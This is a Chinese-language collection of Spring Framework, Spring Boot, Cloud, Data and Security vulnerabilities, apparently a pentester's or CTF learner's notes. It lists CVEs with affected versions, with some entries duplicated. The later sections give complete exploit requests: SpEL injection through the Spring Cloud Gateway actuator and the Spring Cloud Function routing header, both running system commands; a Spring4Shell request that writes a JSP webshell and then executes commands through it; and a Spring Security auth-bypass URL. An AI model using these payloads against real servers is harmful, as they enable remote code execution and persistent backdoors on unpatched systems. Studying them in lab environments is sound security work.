Spring 框架漏洞相关合集
包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等
CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行
影响版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7
CVE-2013-4152 Spring Framework 中的 XML 外部实体(XXE)注入
影响版本:3.0.0 至 3.2.3、4.0.0.M1
CVE-2013-7315 Spring Framework 中的 XML 外部实体
影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
CVE-2013-7315 Spring Framework 中的 XML 外部实体
影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
CVE-2014-0097 Spring Security 认证绕过 (重点)
影响版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5
CVE-2014-3578 Spring Framework 目录遍历漏洞
影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1
CVE-2016-2173 Spring AMQP 中的远程代码执行
影响版本:1.0.0至1.5.4
CVE-2016-2173 Spring AMQP 中的远程代码执行
影响版本:1.0.0至1.5.4
CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注入漏洞 (重点)
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
CVE-2016-6652 Spring Data JPA SQL 盲注
影响版本:Spring Data JPA 1.10.2、1.9.4
CVE-2016-6652 Spring Data JPA SQL 盲注
影响版本:Spring Data JPA 1.10.2、1.9.4
CVE-2017-8045 Spring Amqp中的远程代码执行
影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
CVE-2017-8046 Spring Data REST PATCH请求远程执行代码
影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本
CVE-2018-1258 Spring Security未经授权的访问
影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)
CVE-2018-1259 具有XMLBeam的Spring DataXXE
影响版本:
XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11(Ingalls SR11)Spring Data REST 2.6至2.6.11(Ingalls SR11) Spring Data Commons 2.0至2.0.6(Kay SR6) Spring Data REST 3.0至3.0.6(Kay SR6)
CVE-2018-1270 Spring Messaging远程代码执行漏洞
影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14
CVE-2018-1271 Spring MVC 目录穿越漏洞
CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞(重点)
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
CVE-2018-1260 Spring Security Oauth2 远程代码执行(重点)
影响版本:
Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14
CVE-2018-15758 spring-security-oauth2权限提升
CVE-2019-3799 Spring Cloud Config Server: 目录遍历
CVE-2019-3778 Spring Security OAuth 开放重定向
CNVD-2019-11630 Spring Boot Actuator 命令执行漏洞(重点)
CVE-2019-11269 Spring Security OAuth 开放重定向
CVE-2019-11269 Spring Security OAuth 开放重定向
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露
CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行
影响版本
spring cloud 3.1.0
spring cloud 3.0.0 到 3.0.6
exp
利用这个漏洞需要分多步。
首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
发送这个数据包添加路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发送如下数据包即可查看执行结果:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
最后,发送如下数据包清理现场,删除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
再刷新下路由:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
这个时候你再发原来那个利用的poc就没用了,回显404
CVE-2022-22963 Spring Cloud Function SpEl RCE
影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
exp
服务启动后,执行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test
即可执行uppercase
函数,将输入字符串转换成大写。
发送如下数据包,spring.cloud.function.routing-expression
头中包含的SpEL表达式将会被执行:
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
没有回显
但是仍然rce了,无回显rce
CVE-2022-22965-Spring Framework RCE
影响版本
Spring版本<=Spring 5.3.17 且 tomcat版本<=Tomcat 9.0.61
环境搭建
可以用Nss的环境复现:
NSSCTF - Spring Core RCE (ctfer.vip)
也可以用vulhub:
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
手工搭建环境:
https://blog.csdn.net/lifeng_dc/article/details/124152705
exp
手工思路大致是是 利⽤class 对象构造利⽤链,修改Tomcat的⽇志配置,向⽇志中写⼊shell
- poc:
https://github.com/liudonghua123/spring-core-rce
运行poc,写入shell(下面以nss的环境为例)
- 具体利用过程
用vulhub
执行如下命令启动一个Spring WebMVC 5.3.17服务:
docker-compose up -d
服务启动后,访问http://your-ip:8080/?name=Bob&age=25
即可看到一个演示页面。
发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
然后,访问刚写入的JSP Webshell,执行任意命令:
http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=id
CVE-2022-22978 Spring-security 认证绕过漏洞
影响版本
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
环境搭建
vulhub
exp
http://127.0.0.1:8081/admin/index
/admin/index%0a